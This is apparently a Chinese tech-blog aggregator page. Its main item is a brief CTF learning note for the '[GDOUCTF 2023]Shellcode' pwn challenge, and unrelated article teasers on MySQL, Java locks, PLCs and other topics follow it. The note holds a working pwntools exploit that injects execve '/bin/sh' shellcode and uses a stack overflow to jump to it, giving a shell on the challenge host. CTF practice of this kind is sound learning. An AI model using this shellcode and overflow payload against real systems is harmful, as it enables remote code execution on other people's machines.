news 2026/5/6 16:45:11

[GDOUCTF 2023]Shellcode

作者头像

张小明

前端开发工程师

1.2k 24
文章封面图
[GDOUCTF 2023]Shellcode

第一次打CTF——PWN篇学习笔记18

向name中注入shellcode再栈溢出返回到该地址执行即可,注意shellcode长度不能超过0x25

from pwn import * import struct ​ context.arch = 'amd64' context.os = 'linux' ​ #io = process('./pwn') io = remote("node4.anna.nssctf.cn",28141) ​ shellcode = asm(''' xor rsi, rsi push rsi mov rdi, 0x68732f2f6e69622f push rdi mov rdi, rsp xor rdx, rdx mov rax, 0x3b syscall ''') ​ io.sendline(shellcode) ​ name = 0x6010A0 ​ payload = cyclic(0xA + 8) + p64(name) ​ io.sendline(payload) ​ io.interactive()
版权声明: 本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若内容造成侵权/违法违规/事实不符,请联系邮箱:809451989@qq.com进行投诉反馈,一经查实,立即删除!
网站建设 2026/5/4 9:25:03

解决phpstudy_pro 无法启动 MySQL 以及3306被占用的问题

问题说明 首先我们在启动mysql服务的时候,服务无法启动,而且一直重试。 一、是否真的是端口占用 启动 phpstudy_pro,点击 MySQL 的「启动」按钮,若弹出错误提示: MySQL 启动失败:端口 3306 被占用 或 Po…

作者头像 李华
网站建设 2026/5/3 16:38:09

【synchronized 与 ReentrantLock + Condition 的深度对比 Plus版】

Java并发编程:synchronized 与 ReentrantLock Condition 的深度对比——从Monitor队列到惊群效应与精确唤醒前言正文一、每个Java对象天生都能当锁?Monitor的底层结构形象比喻:锁对象就像一个会议室。关键区别:二、synchronized的…

作者头像 李华
网站建设 2026/5/3 18:09:42

基于单片机的智能窗帘控制系统设计与实现

一、设计背景与核心需求 随着智能家居技术的发展,传统窗帘的手动操作已无法满足现代生活对便捷性、舒适性和节能性的需求。高层住宅大尺寸窗帘拉动费力、忘记关窗导致风雨侵入、光照过强影响室内环境等问题频发。基于单片机的智能窗帘控制系统,通过环境感…

作者头像 李华
网站建设 2026/5/3 5:45:08

Java 应用提供对接第三方接口的优雅高级写法

一、真正的高手,不是“调通接口”,而是“设计边界” 对接第三方接口,看似只是发个请求、拿个 JSON,但背后其实是——系统边界的协作与防御设计。 你面对的不是自己可控的代码,而是一个随时可能“变脸”的外部世界: 对方文档写着“此字段必传”,实际却返回 null 测试环境…

作者头像 李华
网站建设 2026/5/3 14:38:43

基于S7 - 1200 PLC的工业冷库等控制系统漫谈

基于S7-1200 PLC工业冷库控制系统 基于PLC的空调控制系统设计。 基于PLC的工业空调机组设计。基于PLC的冷风机组系统设计带解释的梯形图接线图原理图图纸,io分配,组态画面在工业领域,对于温度的精准控制至关重要,无论是冷库、空调…

作者头像 李华
网站建设 2026/4/30 19:06:48

鸿蒙Electron应用商业化效果评估:数据驱动的增长闭环

基于前文对商业化落地的探讨,本次将聚焦“鸿蒙Electron应用商业化效果评估体系”,从“核心指标构建、数据采集分析、优化迭代闭环”三个维度,提供可量化、可落地的评估方案,帮助开发者精准判断商业化健康度并高效优化。 鸿蒙Elect…

作者头像 李华